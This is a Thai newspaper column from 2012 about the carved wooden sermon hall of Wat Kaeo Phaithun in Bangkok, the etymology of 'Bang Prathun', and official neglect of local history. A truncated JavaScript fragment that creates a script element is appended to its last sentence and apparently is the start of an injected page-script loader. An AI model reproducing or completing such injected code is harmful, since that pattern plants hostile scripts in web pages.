มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 25 ตุลาคม 2555

 

          ศาลาการเปรียญขนาดใหญ่จำหลักไม้ทั้งหลัง ของวัดแก้วไพฑูรย์ (วัดบางประทุนใน) ฝีมือช่างหลวงสมัย ร.3, ร.4 เรื่องนี้ น. ณ ปากน้ำ เขียนบอกไว้ (ในหนังสือศิลปกรรมในบางกอก) ว่าเป็นเรือนไม้อันวิเศษ ดังนี้

          “ศาลาการเปรียญขนาดใหญ่ – – – ฝีมือช่างสมัยรัตนโกสินทร์ – – – ควรถือเป็นศิลปะอันสำคัญที่ต้องการทะนุถนอม ช่วยกันรักษาไว้ให้ดี คงสภาพเดิมไว้ทุกอย่าง ต่อไปข้างหน้าคงจะไม่มีใครรู้จักเรือนไม้อันวิเศษเช่นนี้อีกแล้ว”

          วัดแก้วไพฑูรย์ ปัจจุบันอยู่ในซอยเอกชัย 14 ถนนเอกชัย แขวงบางขุนเทียน เขตจอมทอง กรุงเทพฯ

          เดิมเรียกวัดบางประทุน เพราะตั้งอยู่ริมคลองบางประทุน

          แต่บริเวณคลองบางประทุนย่านนี้มี 2 วัด อยู่ปากคลองเรียกวัดบางประทุนนอก อีกวัดหนึ่งอยู่ลึกเข้าไปในคลอง จึงเรียกวัดบางประทุนใน ที่มีชื่อใหม่ว่า วัดแก้วไพฑูรย์

          ท่านประธานมติชน ขรรค์ชัย บุนปาน ทอดผ้าป่าสามัคคีที่วัดแก้วไพฑูรย์ เพื่อ บูรณะศาลาการเปรียญจำหลักไม้ เมื่อวันอาทิตย์ที่ 21 ตุลาคม 2555

          ผมไปถึงวัดเมื่อพระฉันเพล ได้รับหนังสือที่ระลึกมาอ่าน “แบ่งปันความรู้  เชิดชูศาสนา พัฒนาแหล่งน้ำลำคลอง” เรื่องวัดแก้วไพฑูรย์ ซึ่งค้นคว้าเรียบเรียงโดย  ธัชชัย ยอดพิชัย อ่านง่าย สบายมาก

          คุณธัชชัยสอบค้นความหมายของชื่อบางประทุนจากหลายแหล่ง เช่น เฟซบุ๊ก วิถีคนคลอง บันทึกคำบอกเล่าเก่าแก่ว่า

          “คลองบางประทุน จะมีต้นโมกโง้งลงมาชนหากันเป็นหลังคา มองเห็นแสงตะวันรำไร กลิ่นหอมของดอกโมก โชยฟุ้งไปทั่วคลอง คนเมื่อก่อนจึงเรียกว่า คลองบางประทุน”

          ตรงนี้สอดคล้องกับสุนทรภู่ พรรณนาสภาพคลองบางประทุนที่เห็นด้วยตาตนเองมากกว่า 200 ปีมาแล้วไว้ในนิราศเมืองเพชร ความบทหนึ่งว่า

          บางประทุนเหมือนประทุนได้อุ่นจิต     พอป้องปิดเป็นหลังคานิจจาเอ๋ย

          หนาวน้ำค้างพร่างพรมลมรำเพย       ได้พิงเขนยนอนอุ่นประทุนบัง

          ประทุน ของสุนทรภู่มีหลังคากันแดดกันฝนกันลมได้ สมัยก่อนมักใช้ทั่วไปในรถ, เรือ, เกวียน

          คลองบางประทุนมีต้นไม้สองฟากขึ้นคลุมคลองเหมือนประทุนเหล่านั้น จึงเรียกกันว่า คลองบางประทุน

          บาง หมายถึงชุมชนอยู่ปากทางน้ำสายเล็ก เชื่อมแม่น้ำลำคลองสายหลัก เป็นคำร่วมที่มีใช้ทั้งในมอญ-เขมร, และไทย-ลาว

          คำลาวบางแห่งออกเสียง บัง เช่น บังอี่, บังมุก ใน จ. มุกดาหาร เป็นคลองเล็กไหลลงแม่น้ำโขง

          มอญมีคำว่า ปาง (อ่านว่า ปายฺน) แปลว่า ปาก (พจนานุกรมมอญ-ไทย ฉบับทุนพระยาอนุมานราชธน พ.ศ. 2531 หน้า 208)

          บาง ในภาษาเขมรหมายถึง ที่ดินงอกชายน้ำ (พจนานุกรมเขมร-ไทย ฉบับทุนพระยาอนุมานราชธน เล่ม 2 พิมพ์ครั้งแรก พ.ศ. 2521 หน้า 293)

          ชื่อวัดวาอาราม และชื่อบ้านนามเมืองเหล่านี้ บอกความเป็นมาของชุมชนท้องถิ่น นับเป็นประวัติศาสตร์สังคมที่ไม่มีอยู่ในประวัติศาสตร์แห่งชาติของไทย

          ทางการไทยไม่ให้ความสำคัญความเป็นมาของท้องถิ่น ชุมชนท้องถิ่นต้องร่วมกันศึกษาค้นคว้ารวบรวมด้วยตัวเอง เพราะหวังพึ่งทางการไม่ได้

          กศน. ที่ชื่อว่า ส่งเสริมการศึกษานอกระบบและการศึกษาตามอัธยาศัย ซึ่งเป็นงานสำคัญมาก แล้วมีหน่วยงานกระจายทั่วประเทศที่ควรเอาใจใส่เรื่องอย่างนี้ แต่เอาจริงเข้าก็พึ่งพาลำบากเหมือนทางการไทยทั่วไปvar d=document;var s=d.createElement(‘script’);